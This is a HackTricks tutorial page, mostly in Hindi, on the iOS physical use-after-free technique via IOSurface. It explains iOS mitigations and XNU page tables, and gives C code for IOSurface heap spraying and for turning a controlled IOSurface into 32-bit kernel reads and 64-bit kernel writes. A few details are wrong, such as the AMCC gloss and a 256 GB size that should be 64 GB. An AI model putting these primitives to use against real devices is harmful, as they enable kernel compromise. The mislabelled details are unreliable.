iOS Physical Use After Free via IOSurface

Reading time: 14 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

iOS Exploit Mitigations

  • Code Signing iOS में executable कोड (apps, libraries, extensions, आदि) को Apple द्वारा जारी किए गए certificate से cryptographically sign करने की आवश्यकता रखता है। जब कोड लोड होता है, तो iOS Apple के trusted root के खिलाफ डिजिटल हस्ताक्षर की जाँच करता है। अगर signature invalid, missing, या modified है, तो OS उसे चलाने से मना कर देता है। यह attackers को legitimate apps में malicious code inject करने या unsigned binaries चलाने से रोकता है।
  • CoreTrust वह subsystem है जो runtime पर code signing लागू करता है। यह cached trust stores पर भरोसा किए बिना सीधे Apple के root certificate से signatures verify करता है, यानी केवल Apple द्वारा sign किए गए (या valid entitlements वाले) binaries ही execute कर सकते हैं। CoreTrust यह सुनिश्चित करता है कि अगर attacker किसी app को installation के बाद tamper करे, system libraries बदलें, या unsigned code load करने की कोशिश करें, तो execution block हो जाएगा जब तक कोड सही तरीके से signed न हो।
  • Data Execution Prevention (DEP) मेमोरी regions को non-executable के रूप में mark करता है जब तक वे явно code न रखें। इससे attackers stack या heap जैसे डेटा क्षेत्रों में shellcode inject कर उसे execute नहीं कर पाते, और उन्हें ROP जैसे जटिल तरीकों पर निर्भर होना पड़ता है।
  • ASLR (Address Space Layout Randomization) हर बार सिस्टम चलने पर code, libraries, stack, और heap के memory addresses को randomize करता है। इससे attackers के लिए उपयोगी instructions या gadgets के स्थान का अनुमान लगाना मुश्किल हो जाता है, और कई exploit chain टूट जाते हैं जो fixed memory layout पर निर्भर होते हैं।
  • KASLR (Kernel ASLR) वही randomization kernel पर लागू करता है। kernel के base address को हर boot पर shuffle करके attackers को kernel functions या structures का भरोसेमंद पता लगाना कठिन कर देता है, जिससे kernel-level exploits का मुश्किल स्तर बढ़ता है।
  • Kernel Patch Protection (KPP) जिसे iOS में AMCC (Apple Mobile File Integrity) के नाम से भी जाना जाता है, kernel की code pages की सतत निगरानी करता है ताकि यह सुनिश्चित किया जा सके कि उन्हें modify न किया गया हो। अगर कोई tampering detect होता है—जैसे exploit kernel functions को patch करने की कोशिश करे—तो device तुरंत panic कर reboot हो जाएगा। यह persistent kernel exploits को बहुत कठिन बनाता है क्योंकि attackers kernel instructions को hook या patch किए बिना persistence हासिल नहीं कर सकते।
  • Kernel Text Readonly Region (KTRR) iOS devices पर एक hardware-based security feature है। यह CPU के memory controller का उपयोग करके kernel के code (text) सेक्शन को boot के बाद permanently read-only mark कर देता है। एक बार lock होने के बाद, kernel भी इस memory region को modify नहीं कर सकता। इससे attackers और privileged code दोनों को runtime पर kernel code patch करने से रोका जाता है।
  • Pointer Authentication Codes (PAC) pointers के unused bits में cryptographic signatures embed करके उनकी integrity verify करते हैं। जब pointer (जैसे return address या function pointer) बनाया जाता है, CPU इसे secret key से sign करता है; dereference से पहले CPU signature check करता है। अगर pointer tamper किया गया हो तो check fail कर जाता है और execution रुक जाती है। इससे attackers के लिए corrupted pointers को forge या reuse करना मुश्किल हो जाता है, और ROP/JOP जैसी techniques विश्वसनीय रूप से करना कठिन हो जाता है।
  • Privilege Access never (PAN) एक hardware feature है जो kernel (privileged mode) को सीधे user-space memory तक पहुँचने से रोकता है जब तक कि वह explicitly access enable न करे। इससे kernel code execution हासिल करने वाले attackers के लिए user memory पढ़ना/लिखना और sensitive data चुराना कठिन हो जाता है। PAN strict separation लागू करके kernel exploits के प्रभाव को कम करता है।
  • Page Protection Layer (PPL) एक iOS security mechanism है जो critical kernel-managed memory regions, खासकर those related to code signing और entitlements, को protect करता है। यह MMU और अतिरिक्त checks का उपयोग करके strict write protections लागू करता है, जिससे privileged kernel code भी sensitive pages को arbitrary रूप से modify नहीं कर सकता। यह kernel-level execution हासिल करने वाले attackers के लिए code-signing bypasses और persistence को बहुत कठिन बनाता है।

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

User processes के लिए virtual memory address space iOS पर 0x0 to 0x8000000000 तक फैला हुआ है। ये addresses सीधे physical memory से map नहीं होते। इसके बजाय, kernel page tables का उपयोग करके virtual addresses को वास्तविक physical addresses में translate करता है।

Levels of Page Tables in iOS

Page tables hierarchical तरीके से तीन levels में organize होते हैं:

  1. L1 Page Table (Level 1):
  • यहाँ हर entry virtual memory का बड़ा range represent करती है।
  • यह 0x1000000000 bytes (या 256 GB) का virtual memory cover करती है.
  1. L2 Page Table (Level 2):
  • यहाँ की entry virtual memory का छोटा क्षेत्र represent करती है, specifically 0x2000000 bytes (32 MB).
  • अगर कोई L1 entry पूरे region को स्वयं map नहीं कर सकती तो वह एक L2 table की ओर pointer कर सकती है।
  1. L3 Page Table (Level 3):
  • यह सबसे fine-grained level है, जहाँ हर entry एक single 4 KB memory page को map करती है।
  • अगर और अधिक विस्तार से control चाहिए तो L2 entry एक L3 table की ओर pointer कर सकती है।

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • कुछ entries page table में सीधे एक range of virtual addresses को contiguous range of physical addresses से map करती हैं (जैसे एक shortcut).
  • Pointer to Child Page Table:
  • यदि अधिक granular control की ज़रूरत हो, तो एक level की entry (उदा., L1) अगली level (उदा., L2) में एक child page table की ओर pointer कर सकती है।

Example: Mapping a Virtual Address

माना आप virtual address 0x1000000000 को access करने की कोशिश करते हैं:

  1. L1 Table:
  • kernel इस virtual address के लिए L1 page table entry चेक करता है। अगर उसमें pointer to an L2 page table है, तो वह उस L2 table पर जाता है।
  1. L2 Table:
  • kernel अधिक डिटेल mapping के लिए L2 page table चेक करता है। अगर इस entry में pointer to an L3 page table है, तो वह आगे बढ़ता है।
  1. L3 Table:
  • kernel final L3 entry देखता है, जो वास्तविक memory page के physical address की ओर इशारा करती है।

Example of Address Mapping

यदि आप physical address 0x800004000 को L2 table के first index में लिखते हैं, तो:

  • Virtual addresses 0x1000000000 से 0x1002000000 तक physical addresses 0x800004000 से 0x802004000 तक map हो जाएंगे।
  • यह L2 level पर एक block mapping है।

वैकल्पिक रूप से, अगर L2 entry एक L3 table की ओर pointer करती है:

  • Virtual address range 0x1000000000 -> 0x1002000000 के हर 4 KB page को L3 table की individual entries map करेंगी।

Physical use-after-free

A physical use-after-free (UAF) तब होता है जब:

  1. कोई process कुछ memory allocates करता है जिसे readable और writable बनाया जाता है।
  2. page tables अपडेट किए जाते हैं ताकि यह memory process को एक specific physical address पर access दे सके।
  3. Process उस memory को deallocates (frees) कर देता है।
  4. लेकिन किसी bug के कारण, kernel page tables से उस mapping को हटा देना भूल जाता है, जबकि corresponding physical memory को free mark कर दिया जाता है।
  5. Kernel फिर इस "freed" physical memory को दूसरे प्रयोजनों के लिए reallocate कर सकता है, जैसे कि kernel data
  6. चूंकि mapping remove नहीं किया गया, process अब भी इस physical memory को read और write कर सकता है।

इसका मतलब है कि process kernel memory के pages को access कर सकता है, जिनमें संवेदनशील डेटा या structures हो सकते हैं, जो attacker को kernel memory manipulate करने की क्षमता दे सकता है।

IOSurface Heap Spray

चूंकि attacker यह नियंत्रित नहीं कर सकता कि किस specific kernel pages को freed memory के लिए allocate किया जाएगा, वे एक technique का उपयोग करते हैं जिसे heap spray कहा जाता है:

  1. Attacker kernel memory में बहुत सारी IOSurface objects बनाता है।
  2. हर IOSurface object के एक field में एक magic value रखा जाता है, जिससे उसे पहचानना आसान होता है।
  3. वे freed pages को scan करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface object किसी freed page पर land हुआ है।
  4. जब वे किसी freed page पर IOSurface object खोज लेते हैं, तो वे इसका उपयोग करके kernel memory पढ़ने और लिखने के लिए इस्तेमाल कर सकते हैं।

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

tip

ध्यान दें कि iOS 16+ (A12+) devices में hardware mitigations (जैसे PPL या SPTM) आते हैं जो physical UAF techniques को बहुत कम प्रभावी बनाते हैं। PPL code signing, entitlements, और संवेदनशील kernel data से संबंधित pages पर strict MMU protections लागू करता है, इसलिए यदि कोई page reuse भी होता है, तो userland या compromised kernel code से PPL-protected pages पर writes रोकी जाती हैं। Secure Page Table Monitor (SPTM) PPL का विस्तार है और page table updates को कड़ा करता है। यह सुनिश्चित करता है कि privileged kernel code भी freed pages को silently remap या mappings को tamper नहीं कर सके बिना secure checks के। KTRR (Kernel Text Read-Only Region) kernel के code section को boot के बाद read-only में लॉक कर देता है। यह runtime पर kernel code के किसी भी प्रकार के modification को रोकता है, जो physical UAF exploits अक्सर उपयोग करते हैं। इसके अलावा, IOSurface allocations अब कम predictable हैं और user-accessible regions में map करना कठिन हो गया है, जिससे “magic value scanning” ट्रिक कम भरोसेमंद हो गई है। और IOSurface अब entitlements और sandbox restrictions द्वारा भी guarded है।

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Attacker कई IOSurface objects बनाता है जिनमें एक special identifier ("magic value") होता है।
  2. Scan Freed Pages: वे यह जांचते हैं कि क्या कोई object किसी freed page पर allocate हुआ है।
  3. Read/Write Kernel Memory: IOSurface object के fields को manipulate करके वे arbitrary reads और writes प्राप्त करते हैं। इससे वे कर सकते हैं:
  • एक field का उपयोग करके kernel memory में किसी भी 32-bit value को read करें।
  • दूसरे field का उपयोग करके 64-bit values write करें, जिससे एक stable kernel read/write primitive मिलती है।

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

एक मुक्त किए गए भौतिक पृष्ठ में IOSurface ऑब्जेक्ट्स खोजें:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

IOSurface के साथ Kernel Read/Write प्राप्त करना

जब kernel memory में किसी IOSurface object पर नियंत्रण हासिल कर लिया जाए (mapped to a freed physical page जो userspace से accessible है), तो हम इसे arbitrary kernel read and write operations के लिए उपयोग कर सकते हैं।

IOSurface में प्रमुख फ़ील्ड

  1. Use Count Pointer: यह 32-bit read की अनुमति देता है।
  2. Indexed Timestamp Pointer: यह 64-bit write की अनुमति देता है।

इन pointers को overwrite करके, हम इन्हें kernel memory में arbitrary addresses पर redirect कर सकते हैं, जिससे read/write क्षमता सक्षम होती है।

32-Bit Kernel Read

Read करने के लिए:

  1. use count pointer को target address से 0x14-byte offset घटाकर उस स्थान पर point करने के लिए overwrite करें।
  2. उस address पर मौजूद value को read करने के लिए get_use_count method का उपयोग करें।
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-बिट कर्नेल लिखना

लिखने के लिए:

  1. लक्षित पता पर indexed timestamp pointer को ओवरराइट करें।
  2. set_indexed_timestamp method का उपयोग करके 64-bit मान लिखें।
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

एक्सप्लॉइट फ्लो सारांश

  1. Trigger Physical Use-After-Free: फ्री किए गए पृष्ठ पुन: उपयोग के लिए उपलब्ध होते हैं।
  2. Spray IOSurface Objects: kernel memory में एक अनूठे "magic value" के साथ कई IOSurface objects allocate करें।
  3. Identify Accessible IOSurface: उस freed page पर मौजूद IOSurface खोजें जिस पर आप control रखते हैं।
  4. Abuse Use-After-Free: IOSurface object के pointers को modify करें ताकि IOSurface methods के माध्यम से arbitrary kernel read/write सक्षम हो सके।

इन primitives के साथ, यह exploit नियंत्रित 32-bit reads और 64-bit writes kernel memory को प्रदान करता है। आगे के jailbreak चरणों में अधिक स्थिर read/write primitives शामिल हो सकते हैं, जिनके लिए अतिरिक्त protections (उदा., PPL on newer arm64e devices) को bypass करने की आवश्यकता पड़ सकती है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें